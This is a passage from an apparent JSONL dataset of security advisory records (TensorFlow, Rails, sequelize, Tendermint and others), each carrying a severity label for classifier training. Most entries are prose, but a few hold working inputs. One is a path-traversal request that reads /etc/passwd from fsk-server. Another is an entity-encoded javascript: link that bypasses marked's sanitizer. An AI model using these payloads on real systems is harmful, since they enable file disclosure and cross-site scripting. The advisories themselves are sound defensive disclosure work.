`tensor_name` user controlled input and immediately retrieves the tensor at the restoration index (controlled via `preferred_shard` argument). This occurs without validating that the provided list has enough values.\n\nIf the list is empty this results in dereferencing a null pointer (undefined behavior). If, however, the list has some elements, if the restoration index is outside the bounds this results in heap OOB read.\n\n### Patches \nWe have patched the issue in GitHub commit [9e82dce6e6bd1f36a57e08fa85af213e2b2f2622](https://github.com/tensorflow/tensorflow/commit/9e82dce6e6bd1f36a57e08fa85af213e2b2f2622).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "74c7852b193eb070ffde", "text": "Automated Logic WebCTRL 6.1 Path Traversal Arbitrary File Write", "text_raw": "Automated Logic WebCTRL 6.1 Path Traversal Arbitrary File Write\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-08-22", "split": "train"}
-{"id": "894fe96e7a0e3f1abdde", "text": "Cross-site scripting in papermerge\n\nMultiple cross-site scripting (XSS) vulnerabilities in Papermerge before 1.5.2 allow remote attackers to inject arbitrary web script or HTML via the rename, tag, upload, or create folder function. The payload can be in a folder, a tag, or a document's filename. If email consumption is configured in Papermerge, a malicious document can be sent by email and is automatically uploaded into the Papermerge web application. Therefore, no authentication is required to exploit XSS if email consumption is configured. Otherwise authentication is required.", "text_raw": "Cross-site scripting in papermerge\n\n[Severity: MEDIUM]\n\nMultiple cross-site scripting (XSS) vulnerabilities in Papermerge before 1.5.2 allow remote attackers to inject arbitrary web script or HTML via the rename, tag, upload, or create folder function. The payload can be in a folder, a tag, or a document's filename. If email consumption is configured in Papermerge, a malicious document can be sent by email and is automatically uploaded into the Papermerge web application. Therefore, no authentication is required to exploit XSS if email consumption is configured. Otherwise authentication is required.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "75edec5b6d26080b7dd4", "text": "HTML tag injection\n\nServe Handler, before 5.0.3, has a XSS via HTML tag injection in directory lisiting page.", "text_raw": "HTML tag injection\n\n[Severity: MEDIUM]\n\nServe Handler, before 5.0.3, has a XSS via HTML tag injection in directory lisiting page.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-23", "split": "train"}
-{"id": "7a92a8228896870d89d7", "text": "rails is vulnerable to CRLF injection\n\nCRLF injection vulnerability in Ruby on Rails before 2.0.5 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a crafted URL to the redirect_to function.", "text_raw": "rails is vulnerable to CRLF injection\n\n[Severity: MEDIUM]\n\nCRLF injection vulnerability in Ruby on Rails before 2.0.5 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a crafted URL to the redirect_to function.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f14b02560aae118ab844", "text": "Regular Expression Denial of Service in path-parse\n\nAffected versions of npm package `path-parse` are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.", "text_raw": "Regular Expression Denial of Service in path-parse\n\n[Severity: MEDIUM]\n\nAffected versions of npm package `path-parse` are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-10", "split": "train"}
-{"id": "f7f610029373c26b31a1", "text": "golang.org/x/text Infinite loop\n\nGo version v0.3.3 of the x/text package fixes a vulnerability in encoding/unicode that could lead to the UTF-16 decoder entering an infinite loop, causing the program to crash or run out of memory. An attacker could provide a single byte to a UTF16 decoder instantiated with UseBOM or ExpectBOM to trigger an infinite loop if the String function on the Decoder is called, or the Decoder is passed to golang.org/x/text/transform.String.\n\n### Specific Go Packages Affected\ngolang.org/x/text/encoding/unicode\ngolang.org/x/text/transform", "text_raw": "golang.org/x/text Infinite loop\n\n[Severity: MEDIUM]\n\nGo version v0.3.3 of the x/text package fixes a vulnerability in encoding/unicode that could lead to the UTF-16 decoder entering an infinite loop, causing the program to crash or run out of memory. An attacker could provide a single byte to a UTF16 decoder instantiated with UseBOM or ExpectBOM to trigger an infinite loop if the String function on the Decoder is called, or the Decoder is passed to golang.org/x/text/transform.String.\n\n### Specific Go Packages Affected\ngolang.org/x/text/encoding/unicode\ngolang.org/x/text/transform", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "d63f15914f4d328a8258", "text": "SQL Injection via GeoJSON in sequelize\n\nAffected versions of `sequelize` are vulnerable to SQL Injection in Models that have fields with the `GEOMETRY` DataType. This vulnerability occurs because single quotes in document values are not escaped for GeoJSON documents using `ST_GeomFromGeoJSON`, and MySQL GeoJSON documents using `GeomFromText`.\n\n## Recommendation\n\nUpdate to version 3.23.6 or later.", "text_raw": "SQL Injection via GeoJSON in sequelize\n\n[Severity: CRITICAL]\n\nAffected versions of `sequelize` are vulnerable to SQL Injection in Models that have fields with the `GEOMETRY` DataType. This vulnerability occurs because single quotes in document values are not escaped for GeoJSON documents using `ST_GeomFromGeoJSON`, and MySQL GeoJSON documents using `GeomFromText`.\n\n\n## Recommendation\n\nUpdate to version 3.23.6 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "a988fbd50f7ad75dbb3b", "text": "Deserialization of untrusted data in FasterXML jackson-databind\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9.2, 2.8.11.4, 2.7.9.6, and 2.6.7.3. This occurs when Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the logback jar in the classpath.", "text_raw": "Deserialization of untrusted data in FasterXML jackson-databind\n\n[Severity: HIGH]\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9.2, 2.8.11.4, 2.7.9.6, and 2.6.7.3. This occurs when Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the logback jar in the classpath.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-01", "split": "train"}
-{"id": "c9a14e07a59cada9304a", "text": "react-dev-utils OS Command Injection in function `getProcessForPort`\n\nreact-dev-utils prior to v11.0.4 exposes a function, `getProcessForPort`, where an input argument is concatenated into a command string to be executed. This function is typically used from react-scripts (in Create React App projects), where the usage is safe. Only when this function is manually invoked with user-provided values (ie: by custom code) is there the potential for command injection. If you're consuming it from react-scripts then this issue does not affect you.", "text_raw": "react-dev-utils OS Command Injection in function `getProcessForPort`\n\n[Severity: MEDIUM]\n\nreact-dev-utils prior to v11.0.4 exposes a function, `getProcessForPort`, where an input argument is concatenated into a command string to be executed. This function is typically used from react-scripts (in Create React App projects), where the usage is safe. Only when this function is manually invoked with user-provided values (ie: by custom code) is there the potential for command injection. If you're consuming it from react-scripts then this issue does not affect you.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-11", "split": "train"}
-{"id": "d8ef1e28d4b258c2cdd9", "text": "tmpl vulnerable to Inefficient Regular Expression Complexity which may lead to resource exhaustion\n\nnodejs-tmpl is simple string formatting. tmpl is vulnerable to Inefficient Regular Expression Complexity which may lead to resource exhaustion.", "text_raw": "tmpl vulnerable to Inefficient Regular Expression Complexity which may lead to resource exhaustion\n\n[Severity: HIGH]\n\nnodejs-tmpl is simple string formatting. tmpl is vulnerable to Inefficient Regular Expression Complexity which may lead to resource exhaustion.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "7a07f538a6beed5c95e2", "text": "Improper Authentication in Apereo CAS\n\nApereo CAS 5.3.x before 5.3.16, 6.x before 6.1.7.2, 6.2.x before 6.2.4, and 6.3.x before 6.3.0-RC4 mishandles secret keys with Google Authenticator for multifactor authentication.", "text_raw": "Improper Authentication in Apereo CAS\n\n[Severity: HIGH]\n\nApereo CAS 5.3.x before 5.3.16, 6.x before 6.1.7.2, 6.2.x before 6.2.4, and 6.3.x before 6.3.0-RC4 mishandles secret keys with Google Authenticator for multifactor authentication.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "f689633471342e9ee27e", "text": "ECOA Building Automation System Cookie Poisoning Authentication Bypass", "text_raw": "ECOA Building Automation System Cookie Poisoning Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-09-08", "split": "train"}
-{"id": "5c48fb4eff1b9a5ea14d", "text": "Soda PDF Professional 1.2.155 PDF/WWF File Handling Restriction of Service (RoS)", "text_raw": "Soda PDF Professional 1.2.155 PDF/WWF File Handling Restriction of Service (RoS)\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2011-11-10", "split": "train"}
-{"id": "6510f8cefe6dd79692fd", "text": "Deserialization of Untrusted Data in jackson-databind\n\nAn issue was discovered in FasterXML jackson-databind 2.0.0 through 2.9.5. Use of Jackson default typing along with a gadget class from iBatis allows exfiltration of content. Fixed in 2.7.9.4, 2.8.11.2, and 2.9.6.", "text_raw": "Deserialization of Untrusted Data in jackson-databind\n\n[Severity: CRITICAL]\n\nAn issue was discovered in FasterXML jackson-databind 2.0.0 through 2.9.5. Use of Jackson default typing along with a gadget class from iBatis allows exfiltration of content. Fixed in 2.7.9.4, 2.8.11.2, and 2.9.6.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-16", "split": "train"}
-{"id": "3e26365446bbe29a7042", "text": "Cross-site scripting in feehicms\n\nInsufficient filtering of the tag parameters in feehicms 0.1.3 allows attackers to execute arbitrary web or HTML via a crafted payload.", "text_raw": "Cross-site scripting in feehicms\n\n[Severity: MEDIUM]\n\nInsufficient filtering of the tag parameters in feehicms 0.1.3 allows attackers to execute arbitrary web or HTML via a crafted payload.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "98ed793c509fd7bcffd3", "text": "Out-of-bounds read in TensorFlow possibly causing disclosure of the contents of process memory.\n\nTensorFlow before 1.7.0 has an integer overflow that causes an out-of-bounds read, possibly causing disclosure of the contents of process memory. This occurs in the DecodeBmp feature of the BMP decoder in `core/kernels/decode_bmp_op.cc`.", "text_raw": "Out-of-bounds read in TensorFlow possibly causing disclosure of the contents of process memory.\n\n[Severity: HIGH]\n\nTensorFlow before 1.7.0 has an integer overflow that causes an out-of-bounds read, possibly causing disclosure of the contents of process memory. This occurs in the DecodeBmp feature of the BMP decoder in `core/kernels/decode_bmp_op.cc`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "7d89ae767c381ded23ea", "text": "Argument injection in a MimeTypeGuesser in Symfony\n\nAn issue was discovered in Symfony 2.8.0 through 2.8.50, 3.4.0 through 3.4.34, 4.2.0 through 4.2.11, and 4.3.0 through 4.3.7. If an application passes unvalidated user input as the file for which MIME type validation should occur, then arbitrary arguments are passed to the underlying file command. This is related to symfony/http-foundation (and symfony/mime in 4.3.x).", "text_raw": "Argument injection in a MimeTypeGuesser in Symfony\n\n[Severity: HIGH]\n\nAn issue was discovered in Symfony 2.8.0 through 2.8.50, 3.4.0 through 3.4.34, 4.2.0 through 4.2.11, and 4.3.0 through 4.3.7. If an application passes unvalidated user input as the file for which MIME type validation should occur, then arbitrary arguments are passed to the underlying file command. This is related to symfony/http-foundation (and symfony/mime in 4.3.x).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "937d9b60ad24ddc125b2", "text": "Directory Traversal in fsk-server\n\nAffected versions of `fsk-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in fsk-server\n\n[Severity: HIGH]\n\nAffected versions of `fsk-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "11bc3ba3a86d93969ede", "text": "Remote code execution in handlebars when compiling templates\n\nThe package handlebars before 4.7.7 are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.", "text_raw": "Remote code execution in handlebars when compiling templates\n\n[Severity: CRITICAL]\n\nThe package handlebars before 4.7.7 are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "95159ce58ed98ce8cfcc", "text": "Prototype Pollution in Node-Red\n\n### Impact\n\nNode-RED 1.2.7 and earlier contains a Prototype Pollution vulnerability in the admin API. A badly formed request can modify the prototype of the default JavaScript Object with the potential to affect the default behaviour of the Node-RED runtime.\n\n### Patches\n\nThe vulnerability is patched in the 1.2.8 release.\n\n### Workarounds\n\nA workaround is to ensure only authorised users are able to access the editor url.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [team@nodered.org](mailto:team@nodered.org)\n\n### Acknowledgements\n\nThanks to the Tencent Woodpecker Security Team for disclosing this vulnerability.", "text_raw": "Prototype Pollution in Node-Red\n\n[Severity: HIGH]\n\n### Impact\n\nNode-RED 1.2.7 and earlier contains a Prototype Pollution vulnerability in the admin API. A badly formed request can modify the prototype of the default JavaScript Object with the potential to affect the default behaviour of the Node-RED runtime.\n\n### Patches\n\nThe vulnerability is patched in the 1.2.8 release.\n\n### Workarounds\n\nA workaround is to ensure only authorised users are able to access the editor url.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [team@nodered.org](mailto:team@nodered.org)\n\n### Acknowledgements\n\nThanks to the Tencent Woodpecker Security Team for disclosing this vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-26", "split": "train"}
-{"id": "609ee5f0e0d4d392e2f5", "text": "Cross-site Scripting in Gitea\n\nGitea 1.12.x and 1.13.x before 1.13.4 allows XSS via certain issue data in some situations.", "text_raw": "Cross-site Scripting in Gitea\n\n[Severity: MEDIUM]\n\nGitea 1.12.x and 1.13.x before 1.13.4 allows XSS via certain issue data in some situations.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-27", "split": "train"}
-{"id": "b87947e66e66e7ed7d3a", "text": "Deimos Kasa <= 2.58 (table) Local Integer Overflow Vulnerability", "text_raw": "Deimos Kasa <= 2.58 (table) Local Integer Overflow Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-03-03", "split": "train"}
-{"id": "89715c7e714a7468830f", "text": "Atlassian Confluence Server and Data Center Server-Side Template Injection Vulnerability\n\nAffected: Atlassian Confluence Server and Data Server\n\nAtlassian Confluence Server and Data Center contain a server-side template injection vulnerability that may allow an attacker to achieve path traversal and remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Atlassian Confluence Server and Data Center Server-Side Template Injection Vulnerability\n\nAffected: Atlassian Confluence Server and Data Server\n\nAtlassian Confluence Server and Data Center contain a server-side template injection vulnerability that may allow an attacker to achieve path traversal and remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "0a2823ca30df8dc36272", "text": "Denial of Service in TenderMint\n\n### Description\n\n**Denial of Service**\n\nTendermint 0.33.0 and above allow block proposers to include signatures for the wrong block. This may happen naturally if you start a network, have it run for some time and restart it without changing the chainID. (It is a [misconfiguration](https://docs.tendermint.com/master/tendermint-core/using-tendermint.html) to reuse chainIDs.) Correct block proposers will accidentally include signatures for the wrong block if they see these signatures, and then commits won't validate, making all proposed blocks invalid. A malicious validator (even with a minimal amount of stake) can use this vulnerability to completely halt the network.\n\nTendermint 0.33.6 checks all the signatures are for the block with +2/3 majority before creating a commit.\n\n**False Witness**\n\nTendermint 0.33.1 and above are no longer fully verifying commit signatures during block execution - they stop after +2/3. This means proposers can propose blocks that contain valid +2/3 signatures and then the rest of the signatures can be whatever they want. They can claim that all the other validators signed just by including a CommitSig with arbitrary signature data. While this doesn't seem to impact safety of Tendermint per se, it means that Commits may contain a lot of invalid data **.\n\n_** This was already true of blocks, since they could include invalid txs filled with garbage, but in that case the application knew that they are invalid and could punish the proposer. But since applications didn't--and don't-- verify commit signatures directly (they trust Tendermint to do that), they won't be able to detect it._\n\nThis can impact incentivization logic in the application that depends on the LastCommitInfo sent in BeginBlock, which includes which validators signed. For instance, Gaia incentivizes proposers with a bonus for including more than +2/3 of the signatures. But a proposer can now claim that bonus just by including arbitrary data for the final -1/3 of validators without actually waiting for their signatures. There may be other tricks that can be played because of this.\n\nTendermint 0.33.6 verifies all the signatures during block execution ***.\n\n_*** Please note that the light client does not check nil votes and exits as soon as 2/3+ of the signatures are checked._\n\n### Impact\n\n- All nodes\n- The network stops due to having a commit with a wrong signature.\n\n### Patches\n\n- v0.33.6 andn v0.34.0-dev1.0.20200702134149-480b995a3172\n\n### Workarounds\n\nNo workarounds.\n\n### References\n\n- https://github.com/tendermint/tendermint/issues/4926\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [tendermint/tendermint](https://github.com/tendermint/tendermint)\n* Email us at [security@tendermint.com](mailto:security@tendermint.com)\n\nMore information can be found [here](https://tendermint.com/security/).", "text_raw": "Denial of Service in TenderMint\n\n[Severity: MEDIUM]\n\n### Description\n\n**Denial of Service**\n\nTendermint 0.33.0 and above allow block proposers to include signatures for the wrong block. This may happen naturally if you start a network, have it run for some time and restart it without changing the chainID. (It is a [misconfiguration](https://docs.tendermint.com/master/tendermint-core/using-tendermint.html) to reuse chainIDs.) Correct block proposers will accidentally include signatures for the wrong block if they see these signatures, and then commits won't validate, making all proposed blocks invalid. A malicious validator (even with a minimal amount of stake) can use this vulnerability to completely halt the network.\n\nTendermint 0.33.6 checks all the signatures are for the block with +2/3 majority before creating a commit.\n\n**False Witness**\n\nTendermint 0.33.1 and above are no longer fully verifying commit signatures during block execution - they stop after +2/3. This means proposers can propose blocks that contain valid +2/3 signatures and then the rest of the signatures can be whatever they want. They can claim that all the other validators signed just by including a CommitSig with arbitrary signature data. While this doesn't seem to impact safety of Tendermint per se, it means that Commits may contain a lot of invalid data **.\n\n_** This was already true of blocks, since they could include invalid txs filled with garbage, but in that case the application knew that they are invalid and could punish the proposer. But since applications didn't--and don't-- verify commit signatures directly (they trust Tendermint to do that), they won't be able to detect it._\n\nThis can impact incentivization logic in the application that depends on the LastCommitInfo sent in BeginBlock, which includes which validators signed. For instance, Gaia incentivizes proposers with a bonus for including more than +2/3 of the signatures. But a proposer can now claim that bonus just by including arbitrary data for the final -1/3 of validators without actually waiting for their signatures. There may be other tricks that can be played because of this.\n\nTendermint 0.33.6 verifies all the signatures during block execution ***.\n\n_*** Please note that the light client does not check nil votes and exits as soon as 2/3+ of the signatures are checked._\n\n### Impact\n\n- All nodes\n- The network stops due to having a commit with a wrong signature.\n\n### Patches\n\n- v0.33.6 andn v0.34.0-dev1.0.20200702134149-480b995a3172\n\n### Workarounds\n\nNo workarounds.\n\n### References\n\n- https://github.com/tendermint/tendermint/issues/4926\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [tendermint/tendermint](https://github.com/tendermint/tendermint)\n* Email us at [security@tendermint.com](mailto:security@tendermint.com)\n\nMore information can be found [here](https://tendermint.com/security/).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "2d9346bf7de9c4b152f2", "text": "Tmp files readable by other users in sync-exec\n\nAffected versions of `sync-exec` use files located in `/tmp/` to buffer command results before returning values. As `/tmp/` is almost always set with world readable permissions, this may allow low privilege users on the system to read the results of commands run via `sync-exec` under a higher privilege user.\n\n## Recommendation\n\nThere is currently no direct patch for `sync-exec`, as the `child_process.execSync` function provided in Node.js v0.12.0 and later provides the same functionality natively.\n\nThe best mitigation currently is to update to Node.js v0.12.0 or later, and migrate all uses of `sync-exec` to `child_process.execSync()`.", "text_raw": "Tmp files readable by other users in sync-exec\n\n[Severity: MEDIUM]\n\nAffected versions of `sync-exec` use files located in `/tmp/` to buffer command results before returning values. As `/tmp/` is almost always set with world readable permissions, this may allow low privilege users on the system to read the results of commands run via `sync-exec` under a higher privilege user.\n\n\n## Recommendation\n\nThere is currently no direct patch for `sync-exec`, as the `child_process.execSync` function provided in Node.js v0.12.0 and later provides the same functionality natively. \n\nThe best mitigation currently is to update to Node.js v0.12.0 or later, and migrate all uses of `sync-exec` to `child_process.execSync()`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "3cebe3b69f8e6d9e595c", "text": "vercel/serve allows access to restricted files if filename is URL encoded.\n\nserve node module suffers from Improper Handling of URL Encoding by permitting access to ignored files if a filename is URL encoded.", "text_raw": "vercel/serve allows access to restricted files if filename is URL encoded.\n\n[Severity: MEDIUM]\n\nserve node module suffers from Improper Handling of URL Encoding by permitting access to ignored files if a filename is URL encoded.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "18a12deed9cae5a8b562", "text": "Session manipulation in Django\n\ndjango.contrib.sessions in Django before 1.2.7 and 1.3.x before 1.3.1, when session data is stored in the cache, uses the root namespace for both session identifiers and application-data keys, which allows remote attackers to modify a session by triggering use of a key that is equal to that session's identifier.", "text_raw": "Session manipulation in Django\n\n[Severity: MEDIUM]\n\ndjango.contrib.sessions in Django before 1.2.7 and 1.3.x before 1.3.1, when session data is stored in the cache, uses the root namespace for both session identifiers and application-data keys, which allows remote attackers to modify a session by triggering use of a key that is equal to that session's identifier.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "bbe1e48255922eed31e9", "text": "In Bouncy Castle JCE Provider the DHIES implementation allowed the use of ECB mode\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier the DHIES implementation allowed the use of ECB mode. This mode is regarded as unsafe and support for it has been removed from the provider.", "text_raw": "In Bouncy Castle JCE Provider the DHIES implementation allowed the use of ECB mode\n\n[Severity: HIGH]\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier the DHIES implementation allowed the use of ECB mode. This mode is regarded as unsafe and support for it has been removed from the provider.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "fba2e6612b459b3c8f55", "text": "Zyxel Multiple Products Use of Hard-Coded Credentials Vulnerability\n\nAffected: Zyxel Multiple Products\n\nZyxel firewalls (ATP, USG, VM) and AP Controllers (NXC2500 and NXC5500) contain a use of hard-coded credentials vulnerability in an undocumented account (\"zyfwp\") with an unchangeable password.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-522\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Zyxel Multiple Products Use of Hard-Coded Credentials Vulnerability\n\nAffected: Zyxel Multiple Products\n\nZyxel firewalls (ATP, USG, VM) and AP Controllers (NXC2500 and NXC5500) contain a use of hard-coded credentials vulnerability in an undocumented account (\"zyfwp\") with an unchangeable password.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-522\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "8ceb1d418c5bcbac20c0", "text": "Extreme Networks Aerohive HiveOS <=11.x Remote Denial of Service Exploit", "text_raw": "Extreme Networks Aerohive HiveOS <=11.x Remote Denial of Service Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-05-05", "split": "train"}
-{"id": "0af31dda424b8a80099e", "text": "Malicious Package in hdeky\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in hdeky\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "9b5356b7dd3f856cb0d8", "text": "Sanitization bypass using HTML Entities in marked\n\nAffected versions of `marked` are susceptible to a cross-site scripting vulnerability in link components when `sanitize:true` is configured.\n\n## Proof of Concept\n\nThis flaw exists because link URIs containing HTML entities get processed in an abnormal manner. Any HTML Entities get parsed on a best-effort basis and included in the resulting link, while if that parsing fails that character is omitted.\n\nFor example:\n\nA link URI such as\n```\njavascript&#x58document;alert&#40;1&#41;\n```\nRenders a valid link that when clicked will execute `alert(1)`.\n\n## Recommendation\n\nUpdate to version 0.3.6 or later.", "text_raw": "Sanitization bypass using HTML Entities in marked\n\n[Severity: MEDIUM]\n\nAffected versions of `marked` are susceptible to a cross-site scripting vulnerability in link components when `sanitize:true` is configured. \n\n## Proof of Concept\n\nThis flaw exists because link URIs containing HTML entities get processed in an abnormal manner. Any HTML Entities get parsed on a best-effort basis and included in the resulting link, while if that parsing fails that character is omitted.\n\nFor example:\n\nA link URI such as\n```\njavascript&#x58document;alert&#40;1&#41;\n```\nRenders a valid link that when clicked will execute `alert(1)`.\n\n\n## Recommendation\n\nUpdate to version 0.3.6 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "82a6543b1ed551c77416", "text": "Signature verification failure in Tendermint\n\n_The root cause of this security vulnerability is in the Tendermint specification, and this advisory is a duplicate of https://github.com/tendermint/spec/security/advisories/GHSA-jqfc-687g-59pw._\n\nNote that an FLA cannot be successfully executed unless there are already ⅓+ Byzantine validators, and therefore outside of Tendermint’s security model; however, it is important to be able to detect and punish these kinds of attacks in order to incentivize correct behavior.\n\nIn an FLA, an attacking validator (with ⅓+ voting power) signs commit messages for arbitrary application state associated with a block height that hasn’t been seen yet, hence the name “forward lunatic attacks.” A malicious validator effectively executes a [lunatic attack](https://docs.tendermint.com/master/spec/light-client/accountability/#the-misbehavior-of-faulty-validators), but signs messages for a target block that is higher than the current block. This can be dangerous: Typically, misbehavior evidence is only created when there are conflicting blocks at the same height, but by targeting a block height that is far “ahead” of the current chain height, it’s possible that the chain will not produce a (conflicting) block at the target height in time to create evidence.\n\nPrior to Tendermint v0.34.9, the light client could accept a bad header from its primary witness, and would not be able to form evidence of this deception, even if all the secondary witnesses were correct. Because the light client is responsible for verifying cross-chain state for IBC, a successful FLA could result in loss of funds. However, it is important to note that FLAs are only possible outside the Tendermint security model.\n\nAll FLAs, attempted and successful, leave traces of provable misbehavior on-chain. A faulty header contains signatures from the faulty validator, and even in unpatched versions of Tendermint Core, networks could use social consensus (off-chain action) to recover the network. The patches introduced in Tendermint Core v0.34.9 handle all evidence automatically and on-chain.\n\nNote that this fix also allows for successful automatic reporting of FLAs, even after a chain halt. By adding a time to FetchBlock, light clients effectively have a backup way to determine if a halted chain should have continued, and it will be able to submit evidence as soon as the chain resumes.\n\n### Patches\nThis problem has been patched in Tendermint Core v0.34.9.\n\n### Workarounds\nThere are no workarounds. All users are recommended to upgrade to Tendermint Core v0.34.9 at their earliest possible convenience.\n\n### Credits\n\nThank you to @MaximilianDiez for originally surfacing this issue, and to @cmwaters, @josef-widder, and @milosevic for creating fixes at both the implementation and specification level.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [tendermint/tendermint](https://github.com/tendermint/tendermint)\n* Email us at [security@tendermint.com](mailto:security@tendermint.com)", "text_raw": "Signature verification failure in Tendermint\n\n[Severity: MEDIUM]\n\n_The root cause of this security vulnerability is in the Tendermint specification, and this advisory is a duplicate of https://github.com/tendermint/spec/security/advisories/GHSA-jqfc-687g-59pw._\n\n\n### Impact\nTendermint light clients running versions 0.34.0 to 0.34.8 are unable to detect and punish a new kind of attack. We’re calling this a “forward 